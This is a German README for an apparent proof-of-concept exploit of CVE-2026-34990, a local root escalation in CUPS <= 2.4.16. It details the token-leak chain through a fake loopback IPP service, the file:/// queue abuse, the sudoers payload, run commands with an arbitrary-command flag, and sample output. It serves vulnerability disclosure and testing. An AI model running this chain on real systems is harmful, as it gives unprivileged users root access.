
CVE-2026-34990 — CUPS <= 2.4.16 Lokale Rechteausweitung
Lokaler unprivilegierter Benutzer → root, über ein geleaktes CUPS-
Local-Autorisierungstoken und eine richtlinienumgehendefile:///-Druckwarteschlange.PoC von 0xcybersoldier
CVE-2026-34990 ist eine Schwachstelle zur lokalen Rechteausweitung in OpenPrinting CUPS, die Versionen 2.4.16 und früher betrifft.
Ein lokaler unprivilegierter Benutzer, der den CUPS-Daemon (cupsd) erreichen kann, kann möglicherweise bewirken, dass dieser sich gegenüber einem vom Angreifer kontrollierten IPP-Dienst auf der Loopback-Schnittstelle authentifiziert.
Die daraus resultierende Authorization: Local <token>-Anmeldeinformation kann anschließend gegen die CUPS-Verwaltungsschnittstelle wiederverwendet werden.
Die Angriffskette kann letztlich dazu verwendet werden, eine file:///-Druckwarteschlange zu erstellen und cupsd dazu zu bringen, eine vom Angreifer kontrollierte Datei mit Root-Rechten zu schreiben.
Die kanonische Demonstration verwendet ein sudoers-Drop-in, um eine Root-Shell zu erhalten.
Dieses Repository enthält einen einzeldateiigen Python-3-PoC, der die Angriffskette implementiert, einschließlich eines sichereren --check-Modus, um das anfällige Dateischreibverhalten zu demonstrieren, ohne direkt eine persistente Rechteausweitungs-Konfiguration zu erstellen.
| Feld | Wert |
|---|---|
| CVE-ID | CVE-2026-34990 |
| Komponente | OpenPrinting CUPS (cupsd) |
| Betroffene Versionen | <= 2.4.16 |
| Schwachstellenklasse | CWE-306 / CWE-284 |
| Auswirkung | Lokale Rechteausweitung |
| Angriffsvektor | Lokal |
| Erforderliche Rechte | Niedrig |
| Benutzerinteraktion | Keine |
| Entdeckt von | Asim Viladi Oglu Manizada |
| Advisory | GHSA-c54j-2vqw-wpwp |
Der PoC zielt auf:
OpenPrinting CUPS <= 2.4.16
Lokale CUPS-Version prüfen:
curl -sI http://127.0.0.1:631 | grep -i '^Server:'
Beispiel:
Server: CUPS/2.4.16 IPP/2.1
Hinweis: Überprüfen Sie das aktuelle Upstream-Advisory, bevor Sie sich in der Produktionsforschung auf den Bereich betroffener Versionen verlassen, da sich Hersteller-Patches und Versionsstatus ändern können.
[1] Lokaler Benutzer sendet CUPS-Create-Local-Printer
|
| device-uri = ipp://127.0.0.1:9189/ipp/print
v
[2] cupsd verbindet sich mit dem vom Angreifer
kontrollierten IPP-Dienst auf Loopback
|
v
[3] Fake-IPP-Dienst antwortet mit:
401 Unauthorized
WWW-Authenticate: Local trc="y"
|
v
[4] CUPS/libcups wiederholt die Anfrage mit:
Authorization: Local <token>
|
v
[5] Token abgefangen
|
v
[6] Token gegen die CUPS-Verwaltungsschnittstelle wiederverwendet
|
v
[7] Temporärer file://-Drucker wird erstellt und
durch den Druckerverwaltungs-Workflow überführt
|
v
[8] Print-Job veranlasst cupsd, das übergebene
Dokument in das file://-Ziel zu schreiben
|
v
[9] Demonstrations-Payload kann eine privilegierte
Konfiguration wie sudoers ändern
|
v
ROOT
127.0.0.1:631sudo verfügbar für die Rechteausweitungs-DemonstrationEs sind keine externen Python-Pakete erforderlich.
Repository klonen:
git clone https://github.com/bara-almustafa/CVE-2026-34990-poc.git
cd CVE-2026-34990-poc
PoC ausführbar machen:
chmod +x cve-2026-34990.py
Es sind keine zusätzlichen Abhängigkeiten erforderlich.
Beginnen Sie mit dem nicht-persistenten Verifikationsmodus:
./cve-2026-34990.py --check
Der Prüfmodus versucht, das anfällige root-eigene Dateischreib-Primitiv mithilfe einer temporären Proof-Datei zu demonstrieren, und räumt nach dem Test auf.
Der Standardmodus demonstriert die vollständige Rechteausweitungs-Kette:
./cve-2026-34990.py
Ein Befehl kann angegeben werden mit:
./cve-2026-34990.py -c 'id'
Beispiel:
./cve-2026-34990.py -c 'id; whoami'
| Flag | Standard | Beschreibung |
|---|---|---|
--cups-port | 631 | Lokaler CUPS-TCP-Port |
--listen-port | 9189 | Loopback-Port für den Token-Capture-Listener |
--check | Aus | Sicherer Verifikationsmodus |
-c, --command | — | Befehl nach erfolgreicher Ausnutzung ausführen |
--proof-dir | /var/tmp | Übergeordnetes Verzeichnis für temporäre Proof-Dateien |
--attempts | 8 | Anzahl der Dateischreibversuche |
--iterations | 80 | Anzahl der IPP-Anfrage-Runden pro Versuch |
$ ./cve-2026-34990.py --check
██████╗ ██╗ ██╗ ██████╗██╗ ██╗██████╗ ███████╗██████╗ ███████╗ ██████╗ ██╗ ██████╗ ██╗███████╗██████╗
██╔═████╗╚██╗██╔╝██╔════╝╚██╗ ██╔╝██╔══██╗██╔════╝██╔══██╗██╔════╝██╔═══██╗██║ ██╔══██╗██║██╔════╝██╔══██╗
██║██╔██║ ╚███╔╝ ██║ ╚████╔╝ ██████╔╝███████╗██████╔╝█████╗ ██║ ██║██║ ██║ ██║██║█████╗ ██████╔╝
████╔╝██║ ██╔██╗ ██║ ╚██╔╝ ██╔══██╗╚════██║██╔══██╗██╔══╝ ██║ ██║██║ ██║ ██║██║██╔══╝ ██╔══██╗
╚██████╔╝██╔╝ ██╗╚██████╗ ██║ ██████╔╝███████║██║ ██║███████╗╚██████╔╝███████╗██████╔╝██║███████╗██║ ██║
╚═════╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═════╝ ╚══════╝╚═╝ ╚═╝╚══════╝ ╚═════╝ ╚══════╝╚═════╝ ╚═╝╚══════╝╚═╝ ╚═╝
CVE-2026-34990 :: CUPS <= 2.4.16 Local Privilege Escalation
PoC by 0xcybersoldier
[*] Triggering CUPS token leak...
[+] Captured CUPS Local authorization token
[*] File-write race: attempt 1/8
[+] VULNERABLE: CUPS wrote a root-owned proof file
Der PoC erstellt einen temporären CUPS-Drucker, dessen device-uri auf einen vom Angreifer kontrollierten IPP-Listener auf der Loopback-Schnittstelle zeigt.
Beispiel:
ipp://127.0.0.1:9189/ipp/print
Der lokale Listener antwortet mit einer Authentifizierungsaufforderung:
401 Unauthorized
WWW-Authenticate: Local trc="y"